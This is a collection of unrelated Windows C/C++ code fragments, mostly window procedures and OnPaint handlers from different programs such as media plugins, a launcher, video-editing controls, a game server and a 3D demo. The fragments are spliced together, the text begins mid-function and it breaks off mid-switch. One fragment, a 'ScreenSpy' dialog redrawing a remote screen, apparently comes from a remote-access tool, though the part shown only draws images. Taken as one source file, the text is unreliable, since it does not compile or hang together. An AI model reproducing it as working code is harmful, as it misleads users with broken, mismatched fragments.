MAKEINTRESOURCE(IDD_DIALOG_TEXT), ghApp, (DLGPROC) TextDlgProc); break; case ID_HELP_ABOUT: DialogBox(ghInst, MAKEINTRESOURCE(IDD_HELP_ABOUT), ghApp, (DLGPROC) AboutDlgProc); break; } // Menus break; case WM_GRAPHNOTIFY: HandleGraphEvent(); break; case WM_CLOSE: SendMessage(ghApp, WM_COMMAND, ID_FILE_EXIT, 0); break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } // Window msgs handling return DefWindowProc(hWnd, message, wParam, lParam); }
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { static int is_running = 0; HDC hdc; PAINTSTRUCT ps; #ifndef __MINGW32__ SHRGINFO rg; #endif int x, y; int i; switch(msg) { case WM_CREATE: if(hToolTip == NULL) { hToolTip = CreateDialog(hInst, MAKEINTRESOURCE(IDD_DIALOG_TOOLTIP), NULL, ToolTipProc); } break; case WM_DESTROY: DestroyWindow(hToolTip); hToolTip = NULL; // FileListCnt = 0; return 0; case WM_TODAYCUSTOM_CLEARCACHE: break; case WM_TODAYCUSTOM_QUERYREFRESHCACHE: if(Refresh) { Refresh = FALSE; // compute screen extents for(x = WinLeftMargin, y = WinTopMargin, i = 0; i < FileListCnt; i++) { if((x + IconSizeX + (HMargin * 2)) > GetSystemMetrics(SM_CXSCREEN) - WinRightMargin) { x = WinLeftMargin; y += IconSizeY + (VMargin * 2); } x += IconSizeX + (HMargin * 2); } y += IconSizeY + (VMargin * 2) + WinBottomMargin; ((TODAYLISTITEM *)(wParam))->cyp = y; SetTimer(hWnd, ID_ICON_TIMER, ShowIconSec * 1000, NULL); return TRUE; } return FALSE; case WM_LBUTTONDOWN: SelItem = Point2Item(LOWORD(lParam), HIWORD(lParam)); InvalidateRect(hWnd, NULL, FALSE); UpdateWindow(hWnd); #ifndef __MINGW32__ rg.cbSize = sizeof(SHRGINFO); rg.hwndClient = hWnd; rg.ptDown.x = LOWORD(lParam); rg.ptDown.y = HIWORD(lParam); #ifdef _WCE_PPC2002 rg.dwFlags = SHRG_RETURNCMD | SHRG_NOANIMATION; #else rg.dwFlags = SHRG_RETURNCMD; #endif if(SelItem != -1 && SHRecognizeGesture(&rg) == GN_CONTEXTMENU) { RECT rect; RECT tip_rect; SendMessage(hToolTip, WM_SETTEXT, 0, (LPARAM)(FileList + SelItem)->Description); GetWindowRect(hWnd, &rect); GetWindowRect(hToolTip, &tip_rect); tip_rect.left = rect.left + LOWORD(lParam) - (tip_rect.right - tip_rect.left) - 10; if(tip_rect.left < 0) tip_rect.left = 0; tip_rect.top = rect.top + HIWORD(lParam) - (tip_rect.bottom - tip_rect.top) - 10; if(tip_rect.top < 0) tip_rect.top = 0; SetWindowPos(hToolTip, HWND_TOPMOST, tip_rect.left, tip_rect.top, 0, 0, SWP_NOACTIVATE | SWP_NOSIZE | SWP_SHOWWINDOW); } #endif SetCapture(hWnd); break; case WM_LBUTTONUP: ShowWindow(hToolTip, SW_HIDE); ReleaseCapture(); i = Point2Item(LOWORD(lParam), HIWORD(lParam)); if(i != -1 && i == SelItem) { if (!is_running) { is_running = 1; ShellOpen((FileList + i)->FileName, (FileList + i)->CommandLine); Sleep(1000); is_running = 0; } } SelItem = -1; InvalidateRect(hWnd, NULL, FALSE); UpdateWindow(hWnd); break; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); OnPaint(hWnd, hdc, &ps); EndPaint(hWnd, &ps); break; case WM_ERASEBKGND: return 1; case WM_TIMER: switch(wParam) { case ID_ICON_TIMER: // JMW maybe break here? KillTimer(hWnd, ID_ICON_TIMER); InvalidateRect(hWnd, NULL, FALSE); UpdateWindow(hWnd); break; } break; default: return DefWindowProc(hWnd, msg, wParam, lParam); } return 0; }
LRESULT VDUIHotKeyExControlW32::WndProc(UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_NCCREATE: SetFont(NULL); break; case WM_GETDLGCODE: if (lParam) return DLGC_WANTMESSAGE; return DLGC_WANTALLKEYS; case WM_ERASEBKGND: return FALSE; case WM_PAINT: OnPaint(); return 0; case WM_GETFONT: return (LRESULT)wParam; case WM_SETFONT: SetFont((HFONT)wParam); if (LOWORD(lParam)) InvalidateRect(mhwnd, NULL, TRUE); return 0; case WM_LBUTTONDOWN: SetFocus(mhwnd); return 0; case WM_SETFOCUS: CreateCaret(mhwnd, NULL, 0, mFontHeight); UpdateCaretPosition(); ShowCaret(mhwnd); break; case WM_KILLFOCUS: HideCaret(mhwnd); DestroyCaret(); break; case WM_KEYDOWN: case WM_SYSKEYDOWN: mAccel.mVirtKey = 0; mAccel.mModifiers = 0; if (wParam == VK_CONTROL) mCurrentMods |= VDUIAccelerator::kModCtrl; else if (wParam == VK_SHIFT) mCurrentMods |= VDUIAccelerator::kModShift; else if (wParam == VK_MENU) mCurrentMods |= VDUIAccelerator::kModAlt; else { mAccel.mVirtKey = wParam; if (lParam & (1 << 24)) mAccel.mModifiers |= VDUIAccelerator::kModExtended; } mAccel.mModifiers |= mCurrentMods; UpdateText(); UpdateCaretPosition(); mEventOnChange.Raise(this, mAccel); return 0; case WM_SYSKEYUP: case WM_KEYUP: if (wParam == VK_CONTROL) mCurrentMods &= ~VDUIAccelerator::kModCtrl; else if (wParam == VK_SHIFT) mCurrentMods &= ~VDUIAccelerator::kModShift; else if (wParam == VK_MENU) mCurrentMods &= ~VDUIAccelerator::kModAlt; else break; UpdateText(); UpdateCaretPosition(); mEventOnChange.Raise(this, mAccel); return 0; } return DefWindowProc(mhwnd, msg, wParam, lParam); }
afx_msg void CMainWin::OnRButtonDown(UINT, CPoint loc) { flag = 2,clear=0; OnPaint(); this->InvalidateRect(0); }
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { int gap = bevelWidth + borderWidth; switch (message) { case WM_PAINT: { OnPaint(hwnd); } break; // ========== case BB_RECONFIGURE: { if (myMenu){ DelMenu(myMenu); myMenu = NULL;} GetStyleSettings(); InvalidateRect(hwndPlugin, NULL, true); } break; // for bbStylemaker case BB_REDRAWGUI: { GetStyleSettings(); InvalidateRect(hwndPlugin, NULL, true); } break; case WM_DISPLAYCHANGE: { if(!inSlit) { // IntelliMove(tm)... <g> // (c) 2003 qwilk //should make this a function so it can be used on startup in case resolution changed since //the last time blackbox was used. int relx, rely; int oldscreenwidth = ScreenWidth; int oldscreenheight = ScreenHeight; ScreenWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); ScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); if (xpos > oldscreenwidth / 2) { relx = oldscreenwidth - xpos; xpos = ScreenWidth - relx; } if (ypos > oldscreenheight / 2) { rely = oldscreenheight - ypos; ypos = ScreenHeight - rely; } MoveWindow(hwndPlugin, xpos, ypos, width, height, true); } } break; // ========== case BB_BROADCAST: { szTemp = (char*)lParam; if (!_stricmp(szTemp, "@BBShowPlugins") && pluginToggle && !inSlit) { // Show window and force update... ShowWindow( hwndPlugin, SW_SHOW); InvalidateRect( hwndPlugin, NULL, true); } else if (!_stricmp(szTemp, "@BBHidePlugins") && pluginToggle && !inSlit) { // Hide window... ShowWindow( hwndPlugin, SW_HIDE); } //=================== if (strnicmp(szTemp, "@BBSeekbar", 10)) return 0; szTemp += 10; if (!_stricmp(szTemp, "About")) { char tmp_str[MAX_LINE_LENGTH]; SendMessage(hwndBlackbox, BB_HIDEMENU, 0, 0); sprintf(tmp_str, "%s", szVersion); MessageBox(hwndBlackbox, tmp_str, szAppName, MB_OK | MB_TOPMOST); } //=================== else if (!_strnicmp(szTemp, "StyleType", 9)) { styleType = atoi(szTemp + 10); GetStyleSettings(); InvalidateRect(hwndPlugin, NULL, true); } else if (!_strnicmp(szTemp, "TrackStyle", 10)) { trackStyleType = atoi(szTemp + 11); GetStyleSettings(); InvalidateRect(hwndPlugin, NULL, true); } else if (!_strnicmp(szTemp, "KnobStyle", 9)) { knobStyleType = atoi(szTemp + 10); GetStyleSettings(); InvalidateRect(hwndPlugin, NULL, true); } else if (!_strnicmp(szTemp, "Appearance", 10)) { appearance = atoi(szTemp + 11); track_needsupdate = true; knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); ShowMyMenu(false); } else if (!_strnicmp(szTemp, "PlayerType", 10)) { playerType = atoi(szTemp + 11); // Stop the monitor... unsigned long exitcode; GetExitCodeThread(hThread_Time, &exitcode); TerminateThread(hThread_Time, exitcode); FreeLibrary(controlPlugin); if(!loadPlayerControl(hInstance, playerType)){ MessageBox(hwndBlackbox, "Player control plugin not found", szAppName, MB_OK | MB_ICONERROR | MB_TOPMOST); } // Start the monitoring threads... hThread_Time = CreateThread(NULL, 0, TimeProc, NULL, 0, &dwThreadId_Time); knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); ShowMyMenu(false); } //=================== else if (!_strnicmp(szTemp, "WidthSize", 9)) { newWidth = atoi(szTemp + 10); if(ResizeMyWindow(newWidth, height)){ track_needsupdate = true; knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); } } else if (!_strnicmp(szTemp, "HeightSize", 10)) { newHeight = atoi(szTemp + 11); if(ResizeMyWindow(width, newHeight)){ track_needsupdate = true; knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); } } //=================== else if (!_stricmp(szTemp, "pluginToggle")) { pluginToggle = (pluginToggle ? false : true); SetWindowModes(); } else if (!_stricmp(szTemp, "OnTop")) { alwaysOnTop = (alwaysOnTop ? false : true); if(!inSlit)SetWindowPos( hwndPlugin, alwaysOnTop ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE | SWP_NOSIZE | SWP_NOMOVE); ShowMyMenu(false); } else if (!_stricmp(szTemp, "InSlit")) { if(inSlit && hSlit){ // We are in the slit, so lets unload and get out.. SendMessage(hSlit, SLIT_REMOVE, NULL, (LPARAM)hwndPlugin); // Here you can move to where ever you want ;) SetWindowPos(hwndPlugin, NULL, xpos, ypos, 0, 0, SWP_NOZORDER | SWP_NOSIZE); inSlit = false; SetWindowModes(); } /* Make sure before you try and load into the slit that you have * the HWND of the slit ;) */ else if(hSlit){ // (Back) into the slit.. inSlit = true; SetWindowModes(); SendMessage(hSlit, SLIT_ADD, NULL, (LPARAM)hwndPlugin); } } else if (!_stricmp(szTemp, "Transparent")) { transparency = (transparency ? false : true); SetWindowModes(); } else if (!_strnicmp(szTemp, "AlphaValue", 10)) { alpha = atoi(szTemp + 11); SetWindowModes(); } else if (!_stricmp(szTemp, "SnapToEdge")) { snapWindow = (snapWindow ? false : true); ShowMyMenu(false); } else if (!_stricmp(szTemp, "ShowBorder")) { showBorder = (showBorder ? false : true); InvalidateRect(hwndPlugin, NULL, false); ShowMyMenu(false); } else if (!_stricmp(szTemp, "AllowTip")) { allowtip = (allowtip ? false : true); SetAllowTip(allowtip); ShowMyMenu(false); } else if (!_stricmp(szTemp, "Vertical")) { vertical = (vertical ? false : true); if(ResizeMyWindow(height, width)){ track_needsupdate = true; knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); } ShowMyMenu(false); } else if (!_stricmp(szTemp, "Reversed")) { reversed = (reversed ? false : true); track_needsupdate = true; knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); ShowMyMenu(false); } //=================== else if (!_stricmp(szTemp, "EditRC")) { BBExecute(GetDesktopWindow(), NULL, ReadString(extensionsrcPath(), "blackbox.editor:", "notepad.exe"), rcpath, NULL, SW_SHOWNORMAL, false); } else if (!_stricmp(szTemp, "ReloadSettings")) { ReadRCSettings(); GetStyleSettings(); if(inSlit && hSlit) { SetWindowModes(); SendMessage(hSlit, SLIT_UPDATE, NULL, NULL); } else if(!inSlit || !hSlit) SendMessage(hSlit, SLIT_REMOVE, NULL, (LPARAM)hwndPlugin); else inSlit = false; } else if (!_stricmp(szTemp, "SaveSettings")) { WriteRCSettings(); } } break; // ========== case WM_WINDOWPOSCHANGING: { // Is SnapWindowToEdge enabled? if (!inSlit && snapWindow) { // Snap window to screen edges (if the last bool is false it uses the current DesktopArea) if(IsWindowVisible(hwnd)) SnapWindowToEdge((WINDOWPOS*)lParam, 10, true); } } break; // ========== case WM_WINDOWPOSCHANGED: { if(!inSlit) { WINDOWPOS* windowpos = (WINDOWPOS*)lParam; if (0 == (windowpos->flags & SWP_NOMOVE)) { xpos = windowpos->x; ypos = windowpos->y; } if(ResizeMyWindow(windowpos->cx, windowpos->cy) && 0 == (windowpos->flags & SWP_NOSIZE)) { track_needsupdate = true; knob_needsupdate = true; InvalidateRect(hwndPlugin, NULL, true); } } } break; // ========== case WM_NCHITTEST: { if (!inSlit && GetKeyState(VK_MENU) & 0xF0) { return HTBOTTOMRIGHT; } else if (!inSlit && GetKeyState(VK_CONTROL) & 0xF0) { return HTCAPTION; } } return HTCLIENT; // ========== case WM_LBUTTONDOWN: SetFocus(hwnd); SetCapture(hwnd); InvalidateRect(hwndPlugin, NULL, false); dragging = true; SliderOnValueChange(lParam); break; case WM_MOUSEMOVE: if (!dragging) break; InvalidateRect(hwndPlugin, NULL, false); SliderOnValueChange(lParam); break; case WM_LBUTTONUP: ReleaseCapture(); case WM_KILLFOCUS: dragging = false; break; // ========== case WM_RBUTTONUP: ReleaseCapture(); case WM_NCRBUTTONUP: ShowMyMenu(true); break; case WM_CLOSE: break; // bring window into foreground on sizing/moving-start case WM_NCLBUTTONDOWN: SetWindowPos(hwnd, HWND_TOP, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE); UpdateWindow(hwnd); // fall through // ========== default: return DefWindowProc(hwnd,message,wParam,lParam); } return 0; }
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; HDC hdc; switch (message) { case WM_TIMER: { WORD wTimerID = wParam; switch( wTimerID ) { case 0: g_dpDBClient.SendPing(); g_DPCoreClient.SendPing(); break; case 1: // g_UserMng.OutputStatistics(); break; } break; } case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); switch (wmId) { case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_PAINT: hdc = BeginPaint( hWnd, &ps ); OnPaint( hdc ); EndPaint( hWnd, &ps ); break; case WM_LBUTTONDOWN: CRunObject::GetInstance()->ToggleProfiling(); #ifdef __MEM_TRACE #ifndef _DEBUG CMemTrace::Instance()->Print(); #endif // _DEBUG #endif // __MEM_TRACE #ifdef __VM_0819 CVMLog::Instance()->Log(); #endif // __VM_0819 break; case WM_RBUTTONDOWN: #ifdef __NEW_PROFILE CProfileInfo::GetInstance()->SetToggleProfiling(); #endif // __NEW_PROFILE break; case WM_DESTROY: KillTimer( g_hMainWnd, 0 ); KillTimer( g_hMainWnd, 1 ); PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; switch (message) { case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); // Parse the menu selections: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_KEYDOWN: { switch (wParam) { case VK_UP: keyUp = 1; //sphere->translate(10.0,10.0,10.0); //Rock.translate(10.0,10.0,10.0); break; case VK_LEFT: keyLeft = 1; break; case VK_RIGHT: keyRight = 1; break; case VK_DOWN: keyDown = 1; //sphere->translate(-10.0,10.0,10.0); break; case 'A': cube.translate(10,0,0); break; case 'D': Rock.rotateY(-10); break; case 'S': Rock.rotateZ(-50); break; case 'W': Rock.rotateZ(50,Vertex(50,50,50)); break; /*case VK_A: keyA = 1; break; case VK_S: keyS = 1; break; case VK_D: keyD = 1; break; case VK_W: keyW = 1; break; */ default: return DefWindowProc(hWnd, message, wParam, lParam); } refresh(hWnd); } break; case WM_KEYUP: switch(wParam) { case VK_UP: keyUp = 0; break; case VK_DOWN: keyDown = 0; break; case VK_LEFT: keyLeft = 0; break; case VK_RIGHT: keyRight = 0; break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_CHAR: switch(wParam) { case 'a': keyUp = 0; break; case 'd': keyDown = 0; break; case 's': keyLeft = 0; break; case 'w': keyRight = 0; break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_PAINT: return OnPaint(hWnd); // TODO: Add any drawing code here... break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } }
void TerminalWindow::OnPaint(Canvas &canvas) { OnPaint(canvas, GetClientRect()); }
//--------------------------------------------------------------------- // ClientWindowProc(): //--------------------------------------------------------------------- LRESULT WPPALLETE::ClientWindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // Process window message. switch (uMsg) { case WM_CREATE: // Store the window handle for use later. SetHandle(hWnd); // Let notebook object know that create message is being processed. // NOTE: Here is where folder objects have a chance to animate // the zoom effect for window creation. OnCreate(); // Return success so we can continue with the creation of window. return ((LRESULT)0); case WM_ACTIVATE: OnActivate(((wParam==WA_INACTIVE)? TRUE : FALSE)); return (TRUE); case WM_COMMAND: OnCommand((HWND)LOWORD(lParam),HIWORD(lParam)); break; case WM_SYSCOMMAND: // A system command has been requested. OnSysCommand((WORD)wParam,lParam); break; case WM_SETTEXT: // Set new window caption text. DefWindowProc(hWnd,uMsg,wParam,lParam); // Update window caption. OnNCPaint(); break; case WM_QUERYDRAGICON: return (OnQueryDragIcon()); case WM_ERASEBKGND: OnEraseBackground((HDC)wParam); break; case WM_PAINT: OnPaint(); break; case WM_NCACTIVATE: // Handle this message ONLY if the non-client area is becoming active OR // the window becoming active or inactive is not a notebook page (modeless dialog). // else, do not update non-client area to prevent flickering effect with // notebook window caption. OnNCActivate((BOOL)wParam); return (TRUE); case WM_NCPAINT: OnNCPaint(); return (NULL); case WM_NCMOUSEMOVE: OnNCMouseMove((WORD)wParam,MAKEPOINT(lParam)); break; case WM_NCLBUTTONUP: case WM_NCLBUTTONDOWN: OnNCLButton(uMsg,(WORD)wParam,MAKEPOINT(lParam)); break; case WM_MOUSEMOVE: OnMouseMove(); break; case WM_MOVE: OnMove(MAKEPOINT(lParam)); break; case WM_SIZE: OnSize((WORD)wParam,LOWORD(lParam),HIWORD(lParam)); break; case WM_CLOSE: OnClose(); break; default: // Call the default window procedure. return (DefWindowProc(hWnd,uMsg,wParam,lParam)); } // We are done processing the window message... return (NULL); }
LRESULT CALLBACK VDPositionControlW32::WndProc(UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_CREATE: OnCreate(); // fall through case WM_SIZE: OnSize(); break; case WM_PAINT: OnPaint(); return 0; case WM_NOTIFY: if (TTN_GETDISPINFO == ((LPNMHDR)lParam)->code) { NMTTDISPINFO *lphdr = (NMTTDISPINFO *)lParam; UINT id = (lphdr->uFlags & TTF_IDISHWND) ? GetWindowLong((HWND)lphdr->hdr.idFrom, GWL_ID) : lphdr->hdr.idFrom; *lphdr->lpszText = 0; SendMessage(lphdr->hdr.hwndFrom, TTM_SETMAXTIPWIDTH, 0, 5000); for(int i=0; i<sizeof g_posctltips/sizeof g_posctltips[0]; ++i) { if (id == g_posctltips[i].id) lphdr->lpszText = const_cast<char *>(g_posctltips[i].tip); } return TRUE; } break; case WM_COMMAND: { UINT cmd; VDPositionControlEventData::EventType eventType = VDPositionControlEventData::kEventNone; switch(LOWORD(wParam)) { case IDC_STOP: cmd = PCN_STOP; break; case IDC_PLAY: cmd = PCN_PLAY; break; case IDC_PLAYPREVIEW: cmd = PCN_PLAYPREVIEW; break; case IDC_MARKIN: cmd = PCN_MARKIN; break; case IDC_MARKOUT: cmd = PCN_MARKOUT; break; case IDC_START: cmd = PCN_START; if (mbAutoStep) InternalSetPosition(mRangeStart, VDPositionControlEventData::kEventJumpToStart); break; case IDC_BACKWARD: cmd = PCN_BACKWARD; if (mbAutoStep) InternalSetPosition(mPosition - 1, VDPositionControlEventData::kEventJumpToPrev); break; case IDC_FORWARD: cmd = PCN_FORWARD; if (mbAutoStep) InternalSetPosition(mPosition + 1, VDPositionControlEventData::kEventJumpToNext); break; case IDC_END: cmd = PCN_END; if (mbAutoStep) InternalSetPosition(mRangeEnd, VDPositionControlEventData::kEventJumpToEnd); break; case IDC_KEYPREV: cmd = PCN_KEYPREV; eventType = VDPositionControlEventData::kEventJumpToPrevKey; break; case IDC_KEYNEXT: cmd = PCN_KEYNEXT; eventType = VDPositionControlEventData::kEventJumpToNextKey; break; case IDC_SCENEREV: cmd = PCN_SCENEREV; if (BST_UNCHECKED!=SendMessage((HWND)lParam, BM_GETCHECK, 0, 0)) { if (IsDlgButtonChecked(mhwnd, IDC_SCENEFWD)) CheckDlgButton(mhwnd, IDC_SCENEFWD, BST_UNCHECKED); } else cmd = PCN_SCENESTOP; break; case IDC_SCENEFWD: cmd = PCN_SCENEFWD; if (BST_UNCHECKED!=SendMessage((HWND)lParam, BM_GETCHECK, 0, 0)) { if (IsDlgButtonChecked(mhwnd, IDC_SCENEREV)) CheckDlgButton(mhwnd, IDC_SCENEREV, BST_UNCHECKED); } else cmd = PCN_SCENESTOP; break; default: return 0; } SendMessage(GetParent(mhwnd), WM_COMMAND, MAKELONG(GetWindowLong(mhwnd, GWL_ID), cmd), (LPARAM)mhwnd); } break; case WM_LBUTTONDOWN: { POINT pt = {(SHORT)LOWORD(lParam), (SHORT)HIWORD(lParam)}; if (PtInRect(&mThumbRect, pt)) { mDragOffsetX = pt.x - mThumbRect.left; mDragMode = kDragThumbFast; SetCapture(mhwnd); Notify(PCN_BEGINTRACK, VDPositionControlEventData::kEventNone); InvalidateRect(mhwnd, &mThumbRect, TRUE); } else if (PtInRect(&mPositionArea, pt)) { mPosition = (sint64)floor((pt.x - mTrack.left) * mFramesPerPixel + 0.5); if (mPosition < mRangeStart) mPosition = mRangeStart; if (mPosition > mRangeEnd) mPosition = mRangeEnd; if (mbAutoFrame) UpdateString(); RecalcThumbRect(mPosition); Notify(PCN_THUMBPOSITION, VDPositionControlEventData::kEventJump); InvalidateRect(mhwnd, &mThumbRect, TRUE); } } break; case WM_RBUTTONDOWN: { POINT pt = {(SHORT)LOWORD(lParam), (SHORT)HIWORD(lParam)}; if (PtInRect(&mThumbRect, pt)) { mDragOffsetX = pt.x - mThumbRect.left; mDragAnchorPos = mPosition; mDragMode = kDragThumbSlow; mDragAccum = 0; SetCapture(mhwnd); Notify(PCN_BEGINTRACK, VDPositionControlEventData::kEventNone); InvalidateRect(mhwnd, &mThumbRect, TRUE); ShowCursor(FALSE); } } break; case WM_MOUSEMOVE: if (mDragMode == kDragThumbFast) { POINT pt = {(SHORT)LOWORD(lParam), (SHORT)HIWORD(lParam)}; int x = pt.x - mDragOffsetX; if (x < mTrack.left - mThumbWidth) x = mTrack.left - mThumbWidth; if (x > mTrack.right - mThumbWidth) x = mTrack.right - mThumbWidth; if (x != mThumbRect.left) { if (mbAutoFrame) { InvalidateRect(mhwnd, &mThumbRect, TRUE); mThumbRect.right = x + (mThumbRect.right - mThumbRect.left); mThumbRect.left = x; InvalidateRect(mhwnd, &mThumbRect, TRUE); UpdateWindow(mhwnd); } sint64 pos = VDRoundToInt64((x - mTrack.left + mThumbWidth) * mFramesPerPixel); if (pos > mRangeEnd) pos = mRangeEnd; if (pos < mRangeStart) pos = mRangeStart; if (mPosition != pos) { mPosition = pos; if (mbAutoFrame) UpdateString(); Notify(PCN_THUMBTRACK, VDPositionControlEventData::kEventTracking); } } } else if (mDragMode == kDragThumbSlow) { POINT pt = {(SHORT)LOWORD(lParam), (SHORT)HIWORD(lParam)}; mDragAccum += (pt.x - (mThumbRect.left + mDragOffsetX)); int delta = mDragAccum / 8; mDragAccum -= delta * 8; if (delta) { SetPosition(mDragAnchorPos += delta); Notify(PCN_THUMBTRACK, VDPositionControlEventData::kEventTracking); } pt.x = mThumbRect.left + mDragOffsetX; ClientToScreen(mhwnd, &pt); SetCursorPos(pt.x, pt.y); } break; case WM_CAPTURECHANGED: if ((HWND)lParam == mhwnd) break; case WM_MOUSELEAVE: case WM_RBUTTONUP: case WM_LBUTTONUP: if (mDragMode) { if (mDragMode == kDragThumbSlow) ShowCursor(TRUE); mDragMode = kDragNone; ReleaseCapture(); Notify(PCN_ENDTRACK, VDPositionControlEventData::kEventNone); InvalidateRect(mhwnd, &mThumbRect, TRUE); } break; case WM_MOUSEWHEEL: { mWheelAccum -= (SHORT)HIWORD(wParam); int increments = mWheelAccum / WHEEL_DELTA; if (increments) { mWheelAccum -= WHEEL_DELTA * increments; SetPosition(mPosition + increments); if (increments < 0) Notify(PCN_THUMBPOSITIONPREV, VDPositionControlEventData::kEventJump); else Notify(PCN_THUMBPOSITIONNEXT, VDPositionControlEventData::kEventJump); } } return 0; } return DefWindowProc(mhwnd, msg, wParam, lParam); }
void MyFrame1::Paint() { wxPaintEvent e; OnPaint(e); }
void CScreenSpyDlg::DrawNextScreenRect() { // 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁 bool bIsReDraw = false; int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引 LPVOID lpFirstScreen = m_lpScreenDIB; LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; // 保存上次鼠标所在的位置 RECT rectOldPoint; ::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y, m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot); memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT)); ////////////////////////////////////////////////////////////////////////// // 判断鼠标是否移动 if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top != m_RemoteCursorPos.y)) bIsReDraw = true; // 光标类型发生变化 int nOldCursorIndex = m_bCursorIndex; m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0]; if (nOldCursorIndex != m_bCursorIndex) { bIsReDraw = true; if (m_bIsCtrl && !m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); } // 判断鼠标所在区域是否发生变化 DWORD dwOffset = 0; while (dwOffset < dwBytes && !bIsReDraw) { LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset); RECT rectDest; if (IntersectRect(&rectDest, &rectOldPoint, lpRect)) bIsReDraw = true; dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage; } bIsReDraw = bIsReDraw && m_bIsTraceCursor; ////////////////////////////////////////////////////////////////////////// dwOffset = 0; while (dwOffset < dwBytes) { LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset); int nRectWidth = lpRect->right - lpRect->left; int nRectHeight = lpRect->bottom - lpRect->top; m_lpbmi_rect->bmiHeader.biWidth = nRectWidth; m_lpbmi_rect->bmiHeader.biHeight = nRectHeight; m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi_rect->bmiHeader.biHeight; StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT), m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY); // 不需要重绘鼠标的话,直接重绘变化的部分 if (!bIsReDraw) StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth, nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT), m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY); dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage; } if (bIsReDraw) OnPaint(); }
// returns false if message not handled bool CFrameHolder::ProcessNcMessage(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT& lResult) { #ifdef _DEBUG if (mb_NcAnimate) { wchar_t szDbg[1024], szMsg[128], szInfo[255]; szInfo[0] = 0; switch (uMsg) { case WM_ERASEBKGND: lstrcpy(szMsg, L"WM_ERASEBKGND"); break; case WM_PAINT: lstrcpy(szMsg, L"WM_PAINT"); break; case WM_NCPAINT: lstrcpy(szMsg, L"WM_NCPAINT"); break; case WM_NCACTIVATE: lstrcpy(szMsg, L"WM_NCACTIVATE"); break; case WM_NCCALCSIZE: lstrcpy(szMsg, L"WM_NCCALCSIZE"); break; case WM_NCHITTEST: lstrcpy(szMsg, L"WM_NCHITTEST"); break; case WM_NCLBUTTONDOWN: lstrcpy(szMsg, L"WM_NCLBUTTONDOWN"); break; case WM_NCMOUSEMOVE: lstrcpy(szMsg, L"WM_NCMOUSEMOVE"); break; case WM_NCMOUSELEAVE: lstrcpy(szMsg, L"WM_NCMOUSELEAVE"); break; case WM_NCMOUSEHOVER: lstrcpy(szMsg, L"WM_NCMOUSEHOVER"); break; case WM_NCLBUTTONDBLCLK: lstrcpy(szMsg, L"WM_NCLBUTTONDBLCLK"); break; case 0xAE: /*WM_NCUAHDRAWCAPTION*/ 